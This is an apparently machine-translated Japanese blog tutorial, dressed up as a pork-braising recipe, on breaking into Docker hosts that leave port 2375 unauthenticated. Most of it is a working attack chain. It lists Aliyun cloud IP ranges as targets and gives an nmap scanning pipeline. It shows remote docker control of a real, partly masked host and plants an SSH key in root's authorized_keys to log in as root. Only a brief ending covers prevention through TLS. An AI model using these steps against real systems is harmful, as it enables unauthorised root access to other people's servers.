docker リモート API を学習した学生であれば、ポート 2375 についてよくご存知だと思います。2375 は docker リモート コントロールのデフォルト ポートです。このポートを通じて、リモート docker デーモンを直接操作できます。 $HOST ホストが docker -H tcp://$HOST:2375 ps さて、「侵入」の仕方について話しましょう。このポートを通じてホストマシンに侵入するにはどうすればいいのでしょうか? これはいくつかの点から始まります:
上記の 3 つのポイントを組み合わせると、基本的に Docker ホストに侵入するための条件が整います。 これは少し無理があるように聞こえるかもしれないので、新しい例を見てみましょう。 (最近覚えた料理でその工程を説明させてください╮( ̄▽ ̄)╭) 秘伝の煮込み豚(ドッカーバージョン) 材料: 「5 つの花」の IP セグメントのブロック全体。太いほど良い (初心者ユーザーが多いほど良い) 材料: nmap、docker ステップ1: ポート2375をスキャンする スキャン方法は?私はシンプルで使いやすいハッカー必須ツールである どこを掃除しますか?私が選択したターゲットは aliyun の IP セグメントであり、Baidu は次のことを発見しました。 42.96.128.0/17 アリババ(北京)テクノロジー株式会社 中国 42.120.0.0/16 Aliyun Computing Co., LTD 中国 42.121.0.0/16 Aliyun Computing Co., LTD 中国 42.156.128.0/17 Aliyun Computing Co., LTD 中国 110.75.0.0/16 アジア太平洋ネットワーク情報センター 中国 110.76.0.0/19 アリテクノロジー株式会社 中国 110.76.32.0/20 Aliyun Computing Co., LTD 中国 110.173.192.0/20 HiChina Web Solutions (北京) Limited 中国 110.173.208.0/20 HiChina Web Solutions (北京) Limited 中国 112.124.0.0/16 杭州アリババ広告有限公司 中国 112.127.0.0/16 杭州アリババ広告有限公司 中国 114.215.0.0/16 杭州アリババ広告有限公司 中国 115.28.0.0/16 HiChina Web Solutions (北京) Limited 中国 115.29.0.0/16 HiChina Web Solutions (北京) Limited 中国 115.124.16.0/22 杭州アリババ広告有限公司 中国 115.124.20.0/22 杭州アリババ広告有限公司 中国 115.124.24.0/21 杭州アリババ広告有限公司 中国 119.38.208.0/21 杭州アリババ広告有限公司 中国 119.38.216.0/21 杭州アリババ広告有限公司 中国 119.42.224.0/20 アリババ(中国)テクノロジー株式会社 中国 119.42.242.0/23 杭州アリババ広告有限公司 中国 119.42.244.0/22 杭州アリババ広告有限公司 中国 121.0.16.0/21 杭州アリババ広告有限公司 中国 121.0.24.0/22 杭州アリババ広告有限公司 中国 121.0.28.0/22 杭州アリババ広告有限公司 中国 121.196.0.0/16 杭州アリババ広告有限公司 中国 121.197.0.0/16 杭州アリババ広告有限公司 中国 121.198.0.0/16 杭州アリババ広告有限公司 中国 121.199.0.0/16 杭州アリババ広告有限公司 中国 140.205.0.0/16 Aliyun Computing Co., LTD 中国 203.209.250.0/23 杭州アリババ広告有限公司 中国 218.244.128.0/19 杭州アリババ広告有限公司 中国 223.4.0.0/16 杭州アリババ広告有限公司 中国 223.5.0.0/16 杭州アリババ広告有限公司 中国 223.5.5.0/24 杭州アリババ広告有限公司 中国 223.6.0.0/16 杭州アリババ広告有限公司 中国 223.6.6.0/24 杭州アリババ広告有限公司 中国 223.7.0.0/16 杭州アリババ広告株式会社 私は IP を制作しているわけではなく、Baidu のポーターです。これらの IP がどこから来たのか聞かないでください。私も知りたいのです~ >.< 上記のIP内容をaliyun.listなどのファイルに保存します。 スキャンを開始します: cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open # コマンドを簡単に説明します: # awk は IP セグメントの最初の列をフィルタリングします # xargs はフィルタリングされた IP を 1 つずつ nmap に送信します。-I {} は、送信されたパラメータを {} を使用して置き換えることを意味します # ... # 2016-06-05 09:57 CST に Nmap 7.01 ( https://nmap.org ) を起動 # 42.96.MOSAIC.MOSAIC の Nmap スキャン レポート # ホストが起動しています(遅延 0.070 秒)。 # 港湾国サービス # 2375/tcp ドッカーを開く # ... 2分も経たないうちに、 ステップ2: 2375の直接制御をテストする docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps # コンテナ ID イメージ コマンド 作成 ステータス ポート # 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 日前 3 日前 0.0.0.0:9009->80 # f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 日前 3 日前 8080/tcp, 28015/ # 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 日前 3 日前 0.0.0.0:500->500 # af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 週間前 3 日間稼働 443/tcp, 0.0.0.0 # ... このサーバーの所有者は本当に協力的です (⊙ο⊙)。 PS を通じてコンテンツを直接見ることができます。つまり、このホストの 2375 には SSL 検証がなく、基本的に侵入要件を満たしています。 「五花」を洗って切り、鉢に植える準備をします~ ステップ3: 独自のコンテナをリモートで起動する Docker を制御できるようになると何ができるようになりますか?ゲットしてよかったです〜 # images 既存のローカルイメージを確認します# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images # ... # swarm 最新 47dc182ea74b 4 週間前 19.32 MB # jwilder/nginx-proxy 最新 203b20631e41 4 週間前 255.6 MB # ubuntu 最新 c5f1cf30c96b 4 週間前 120.8 MB # 造船所/造船所 最新 ba426f0944bc 5 週間前 58.92 MB # ... 一部出力を省略しています。画像がかなり多いです。Ubuntuを選択しましょう。
このステップを見ると、SSHの知識がある学生なら理解できるはずだと私は思う。 ステップ4: SSH pubキーの挿入 起動したばかりのコンテナで、まず 次に、マシン上で新しい pub キーのペアを生成します (すでに ssh キーがある場合は、新しいキーを生成することをお勧めします。毎日使用する ssh pub キーは使用しないでください)。 # ssh-keygen を使用して生成します ssh-keygen -t rsa -C "[email protected]" # コマンドを実行した後、「キーを保存するファイルを入力してください」というプロンプトを読んで、自分の SSH キーを上書きしないように注意してください。/tmp/id_rsa を選択できます。 # その他のプロンプトについては、次のように入力してください 続行し、ssh pubキーを挿入し、実行を開始したコンテナに戻ります。 cat >> /tmp/root/.ssh/authorized_keys <<EOF >ssh-rsa AAA.... # 先ほどマシン上で生成した /tmp/id_rsa.pub ファイルをここに貼り付けます >終了 # /tmp/root/.sshディレクトリが存在しない場合は直接作成します スターアニス、ローリエの葉、薄口醤油、濃口醤油、酢を加え、中火で煮て、盛り付けます。 ステップ5: サーバーにログインする # ssh -i ログインするためのキーを指定します ssh -i /tmp/id_rsa [email protected] # Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64) へようこそ # # * ドキュメント: https://help.ubuntu.com/ # # aliyun Elastic Compute Service へようこそ! # # 最終ログイン: 2016 年 6 月 3 日金曜日 01:38:07 120.85.MOSAIC.MOSAIC から # manpath: ロケールを設定できません。$LC_* と $LANG が正しいことを確認してください # ルート@iZ28p9b7e***:~# # ... ソースがとろみがつくまで強火で煮詰めたら火から下ろします。 厳粛な宣言 上記のチュートリアルは、コミュニケーションと学習のみを目的としています。42.96.MOSAIC.MOSAIC サーバーの 利用可能なポート 2375 を偶然発見した場合は、使用を中止して他の目的で使用しないようにするか、他の侵入の脆弱性を見つけて、皆さんとコミュニケーションを取り、学習できるようにしていただければ幸いです。 2375 は Docker の脆弱性ですか? いいえ! 2375 をパブリック インターネットに直接公開することは、単にユーザーの習慣または怠惰の問題です。2375は、比較的安全な内部ネットワークでの便利なテストに使用できますが、実稼働環境での使用には適していません。 Docker 公式サイトの最初のドキュメント「クイックスタート」には、次のような一文があります。
警告: デーモンが TCP ポートに直接公開されている場合、非 root ユーザーがホスト マシン上で root 権限を取得できる可能性があります。実はこれが、上記のサーバーが侵入された理由です。 予防方法 では、問題は、リモート API を使用したいがハッキングされるリスクを避けたい場合はどうすればいいのかということです。 公式の Docker ドキュメントでは、CA 認証を通じてリモート API を使用する方法が紹介されています。 詳細については、「Dockerデーモンソケットを保護する」を参照してください。 (理解できたらまたブログを書きますが、ここにリンクしておきますOO) 設定プロセスは比較的簡単です。以下は SSL を設定した後の効果を示す図です。 Docker がポート 2375 を公開してサーバー攻撃を引き起こす問題とその解決策に関するこの記事はこれで終わりです。Docker がポート 2375 を公開することに関する関連コンテンツの詳細については、123WORDPRESS.COM の以前の記事を検索するか、次の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM を応援していただければ幸いです。 以下もご興味があるかもしれません:
|
>>: MySQL ストアド プロシージャを作成 (CREATE PROCEDURE) して呼び出す (CALL) 方法と、変数を作成 (DECLARE) して割り当てる (SET) 方法
1: Dockerプライベートウェアハウスのインストール1. イメージリポジトリからイメージをダウン...
目次基本的なセレクター:レベルセレクター:属性セレクター:フィルターセレクター:フォーム属性セレクタ...
時には、Web ページに掲載されているコンテンツが悪意のある人物に盗用されるのを望まないため、Web...
必要フィールドをクエリする場合、フィールドに同じ値を指定する必要があります。この値はハードコードする...
目次ステップ1: インストールステップ2: 引用ステップ3: 使用Webプロジェクトでは、データを読...
始める前にクラウドサーバーを持っています。私のはTencent Cloud Server (Cent...
データベースを構築してプログラムを書くとき、日付と時刻の使用は避けられません。データベースには、ti...
Linux は、システム内のデバイス、インターフェース、ファイル、スタートアップ、アプリケーション ...
CSS の一部のプロパティの前には「*」または「_」が付きます。さまざまなブラウザを識別する例えば...
フロントエンドの開発過程で、チェックボックスが必要な状況が発生しました。ユーザー操作の利便性を考慮し...
主な機能は次のとおりです。製品情報を追加する製品情報を変更する単一の製品を削除する複数の製品を削除す...
1-ドロップダウン選択ボックスのスタイル設定 - ドロップダウン リストを変更します。 2- <...
HTML フォームは、さまざまな種類のユーザー入力を収集するために使用されます。次のコードは、HTM...
目次背景1. クエリ条件に「or」が含まれているため、インデックスが失敗する可能性があります。 2....
目次序文レンダリングサンプルコード要約する序文ダイアログ ボックスは非常に一般的なコンポーネントであ...